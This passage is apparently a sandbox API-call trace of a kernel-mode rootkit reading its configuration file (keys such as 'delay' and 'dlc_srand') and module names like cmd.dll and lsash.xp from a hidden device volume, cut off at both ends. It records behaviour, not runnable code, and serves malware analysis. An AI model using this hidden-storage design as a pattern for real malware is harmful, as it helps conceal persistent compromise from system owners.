_Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.353] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.353] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.353] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.353] KeLeaveCriticalRegion () [0121.353] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.354] ReleaseMutex (hMutex=0x100) returned 1 [0121.354] Sleep (dwMilliseconds=0x2bf20) [0121.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b896150, dwHighDateTime=0x1d24fa4)) [0121.360] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.360] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.360] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.360] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.360] KeEnterCriticalRegion () [0121.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.360] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.360] IdePortDispatch () returned 0x103 [0121.360] KeWaitForMutexObject () returned 0x0 [0121.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.360] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.360] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.360] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.360] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.360] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4660 [0121.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.360] KeLeaveCriticalRegion () [0121.360] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.360] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.361] KeEnterCriticalRegion () [0121.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.361] KeLeaveCriticalRegion () [0121.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.361] KeEnterCriticalRegion () [0121.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.361] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.361] IdePortDispatch () returned 0x103 [0121.361] KeWaitForMutexObject () returned 0x0 [0121.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.361] KeLeaveCriticalRegion () [0121.361] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.361] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.361] KeEnterCriticalRegion () [0121.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.361] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b12000 [0121.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.361] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.361] IdePortDispatch () returned 0x103 [0121.361] KeWaitForMutexObject () returned 0x0 [0121.361] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.362] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.362] IdePortDispatch () returned 0x103 [0121.362] KeWaitForMutexObject () returned 0x0 [0121.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.362] KeLeaveCriticalRegion () [0121.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.362] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.362] KeEnterCriticalRegion () [0121.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.362] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.362] KeLeaveCriticalRegion () [0121.362] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.362] KeEnterCriticalRegion () [0121.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.362] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.362] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.362] KeLeaveCriticalRegion () [0121.362] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.363] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.363] KeEnterCriticalRegion () [0121.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.363] ExFreePoolWithTag (P=0xfffffa8003bc4660, Tag=0x0) [0121.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.363] KeLeaveCriticalRegion () [0121.363] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.363] ReleaseMutex (hMutex=0xf0) returned 1 [0121.363] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.363] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.363] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.363] KeEnterCriticalRegion () [0121.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.363] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.363] IdePortDispatch () returned 0x103 [0121.363] KeWaitForMutexObject () returned 0x0 [0121.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.363] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.363] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.363] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.363] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.363] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f10 [0121.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.363] KeLeaveCriticalRegion () [0121.363] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.363] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.363] KeEnterCriticalRegion () [0121.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.363] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.363] KeLeaveCriticalRegion () [0121.363] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.363] KeEnterCriticalRegion () [0121.363] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.364] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.364] IdePortDispatch () returned 0x103 [0121.364] KeWaitForMutexObject () returned 0x0 [0121.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.364] KeLeaveCriticalRegion () [0121.364] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.364] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.364] KeEnterCriticalRegion () [0121.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.364] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b13000 [0121.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.364] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.364] IdePortDispatch () returned 0x103 [0121.364] KeWaitForMutexObject () returned 0x0 [0121.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.364] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.364] IdePortDispatch () returned 0x103 [0121.364] KeWaitForMutexObject () returned 0x0 [0121.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] KeLeaveCriticalRegion () [0121.365] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.365] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.365] KeEnterCriticalRegion () [0121.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] KeLeaveCriticalRegion () [0121.365] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.365] KeEnterCriticalRegion () [0121.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.365] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] KeLeaveCriticalRegion () [0121.365] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.365] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.365] KeEnterCriticalRegion () [0121.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] ExFreePoolWithTag (P=0xfffffa8003bc4f10, Tag=0x0) [0121.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.365] KeLeaveCriticalRegion () [0121.365] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.365] ReleaseMutex (hMutex=0xf0) returned 1 [0121.365] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.366] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.366] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.366] KeEnterCriticalRegion () [0121.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.366] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.366] IdePortDispatch () returned 0x103 [0121.366] KeWaitForMutexObject () returned 0x0 [0121.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.366] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.366] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.366] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.366] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.366] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc45b0 [0121.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.366] KeLeaveCriticalRegion () [0121.366] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.366] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.366] KeEnterCriticalRegion () [0121.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.366] KeLeaveCriticalRegion () [0121.366] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.366] KeEnterCriticalRegion () [0121.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.366] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.366] IdePortDispatch () returned 0x103 [0121.366] KeWaitForMutexObject () returned 0x0 [0121.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.367] KeLeaveCriticalRegion () [0121.367] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.367] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.367] KeEnterCriticalRegion () [0121.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.367] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b14000 [0121.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.367] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.367] IdePortDispatch () returned 0x103 [0121.367] KeWaitForMutexObject () returned 0x0 [0121.367] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.367] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.367] IdePortDispatch () returned 0x103 [0121.367] KeWaitForMutexObject () returned 0x0 [0121.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.367] KeLeaveCriticalRegion () [0121.367] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.368] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.368] KeEnterCriticalRegion () [0121.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] KeLeaveCriticalRegion () [0121.368] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.368] KeEnterCriticalRegion () [0121.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.368] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] KeLeaveCriticalRegion () [0121.368] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.368] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.368] KeEnterCriticalRegion () [0121.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] ExFreePoolWithTag (P=0xfffffa8003bc45b0, Tag=0x0) [0121.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] KeLeaveCriticalRegion () [0121.368] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.368] ReleaseMutex (hMutex=0xf0) returned 1 [0121.368] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.368] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.368] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.368] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.368] KeEnterCriticalRegion () [0121.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.369] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.369] IdePortDispatch () returned 0x103 [0121.369] KeWaitForMutexObject () returned 0x0 [0121.369] _strnicmp 